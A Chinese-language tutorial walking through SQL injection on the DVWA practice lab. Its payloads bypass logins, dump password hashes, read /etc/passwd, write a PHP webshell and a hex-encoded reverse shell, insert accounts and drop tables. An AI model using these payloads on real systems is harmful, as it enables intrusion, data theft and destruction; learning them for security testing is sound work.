原理

通过操作输入修改后台SQL语句,使攻击者绕过 web server 的身份认证机制,从而控制web server上的数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向 web application 输入数据,而且还可以在数据库上执行任意命令

如一个不安全的 web application 在进行用户身份检验时使用以下语句:

SELECT * FROM users WHERE user='uname' AND password='pass'

如果用户在输入时输入“ ' OR ''=' ”,就会导致SQL语句变成以下样子

SELECT * FROM users WHERE user='name' AND password='' OR ''=''

这样就构成了一个简单的SQL注入。(还是老问题,怎么可能不过滤嘛)

检测注入点

1.基于报错的检测方法

利用特殊字符 ' " % () 来进行测试。如果web application报错了就说明存在注入点。

2.基于布尔的检测方法

1' and '1'='1  /  1' and '1  //真
1' and '1'='2  /  1' and '0  //假

观察返回值是否按照输入返回真假。

收集数据库信息

在进行注入之前还需要做一些准备,方便后面的注入。

1.判断SQL命令中查询了多少字段

通常是通过 order by 指令来判断。order by 是一个排序指令,这里可以通过过它来判断字段数。

构造指令如下:

 ' order by [number]--  //按查询列号排序 
 //注意最后的注释符含空格 "-- " 
 //在URL中 "-- " 和 "--+" 是一样的

将其中的[number]改为任意数字,找到刚好不报错的就是查询的字段数。

2.查询数据库中信息的常用函数

//以下都以DVWA中的 SQL injection 为例

知道了字段数就可以用 select 语句来查询其他信息了。但直接 select 会报错,这时就需要一个 union 来联合搜索:

 ' union select 1,2--+
 ' union all select database(),2--+
 // union 或 union all 都可以,两者差不多

切分查询后结果

substring_index([function], "[character]", number)

function 指输入的函数;character 指的是以什么字符分割;number 指的是需要分割后的第几段。

查看database用户

user()

查看databases版本

version()

查看当前database

database()

ASCII码转字符

char()

这个函数作用主要是绕过一些过滤

计算哈希值

md5()

连接字符串

CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 

以上面的为例,CONCAT_WS是函数名,将后面的函数连接起来输出。char(32,58,32)是指以什么符号分割,后面接需要输出的函数。

全局变量

全局变量是SQL Server系统内部使用的变量,由系统定义和维护,我们只能使用,不能修改。
引用全局变量时必须使用@@开头

一些常用全局变量:

@@datadir    //输出当前数据库的位置
@@hostname    //输出当前主机名
@@version    //查看database版本
@@version_compile_os     //查看操作系统版本

3.查找数据库基本信息

MySQL将它的元数据都存在一个库 information_schema 里面。这个库里面存在所有的数据库的基本信息。如库的数量等。

如果想查询数据库的基本信息,就从 information_schema 里面查找。

下面是一些语句的示例:

查找所有库,所有表

' union select table_name,table_schema from information_schema.tables--+ 

统计每个库中表的数量

' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 

输出DVWA中的表

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+ 

输出User表内的所有列

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+ 

查询user,password列中的内容

' union select user,password from dvwa.users--+
' union select user,password from users--+
' union select null, concat(user,0x3a,password) from users--+
//第三种的concat和上面的concate_wp功能一样的。
//区别只是 concate_wp 需要在起始位置指定分隔符而concate在中间指定
//concate中间的0x3a是字符的十六进制表示

脱出来的密码可以用Kali中的 hash_information 程序来判断它是属于哪种加密方式。

读写文件

现在的主流数据库都会含有大量库函数。而这些库函数可以让我们进行更深入的攻击。

1.读取本地文件

MySQL里面含有一个数据库管理系统的函数 load_file 这个函数可以读取系统本地的文件。

' union SELECT null, load_file('/etc/passwd')--+

2.写入文件

有读取本地文件的函数就有写入本地文件的函数。

' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+
//这个语句是无法执行的。原因后面说

这个 INTO DUMPFILE 也是数据库管理系统里面的一个函数。后面双引号里面引起来的就是文件路径和文件名。未指定路径的话就MySQL的默认目录。

上面的代码是无法执行的。原因是SQL注入的权限一般是MySQL的权限,而 /var/www/ 这个目录的属主和属组都是www-data,所以无法写入。

这时可以通过一个中介文件夹,通过文件包含漏洞将木马包含进来。常用的就是 /tmp/ 目录。它的权限是 777 ,即任何人都可以读写执行。

3.编码

web server 怎么可能没有过滤呢~

对付过滤第一个想到的当然是编码啦。这里利用十六进制编码。每个Linux都有一个程序 xxd ,这个程序是将文件进行十六进制编码。

cat php-revers-shell.php | xxd -ps | tr -d '\n' //最后一串指令是删去回车

利用以上语句就可以获得木马的十六进制编码了。

接着还是一样的注入:

' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'-- 
//注意这里的格式一定要严谨

就可以绕过部分限制。
这里还有一个注意点:如果你的木马大小太大的话,用GET方式上传 web server 可能会拒绝接受。

4.将数据库文件写入本地

可以将本地文件读取进数据库,也可以将数据库的数据写入本地。

' union SELECT null, database() INTO OUTFILE '/tmp/a.db'--+

下载数据库

有时候数据库比较大,只是查询的话会很麻烦,甚至无法显示。这时候就可以将数据库下载至本地查看。

' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'-- 

通过上面的语句可以将数据库文件输入至指定文件夹,然后就可以通过文件包含漏洞下载。

如果没有文件包含漏洞的话那就只能慢慢查询。文件过大的话可以限制输出的数量。或者通过命令行工具 wget 或 curl 来下载。

其他利用思路

有时候拿到了数据库里的密码也不一定能解密。这时候可以通过编写代码来插入一个用户,并将其权限提至与root等同的权限。

修改用户名或用户密码

'; update users set user='yuanfh' where user='admin 

上面这个代码在有些时候是无法执行的。无法执行的原因在于一些 SQL 客户端工具的代码没写好,从而导致单行多命令无法执行。

参考:http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html

插入一个新用户

'; INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('35','fh','yuan','yfh','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+

删表

'; DROP TABLE users; -- 

总之扩展自己的思维总会发现一些神奇的方法。

权限不足

大多数时候SQL注入获得的权限并不是 MySQL数据库的root权限。这时候我们就没有权限查看 information_schema 这个库。

遇到这种情况,我们可以选择利用猜解的方法来猜出数据库的信息。

1.猜列名

' and column is null--+ 

2.猜当前表的表名

' and table.user is null--+ 

3.猜解其他表

' and (select dvwa from table)>0--+ 

4.猜列表对应关系

' and users.user is null--+ 

5.猜字段内容

' or user='admin
' or user like ' %a%  //这种是模糊搜索,匹配含有a字母的值

6.猜解账号对应密码

' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

随便写写

SQL注入既然是对数据库的注入,也是要用到很多数据库所有的函数。想要进行更好的注入还是要了解数据库的基本原理和函数吧。

Last modification:July 3rd, 2019 at 10:50 pm
If you think my article is useful to you, please feel free to appreciate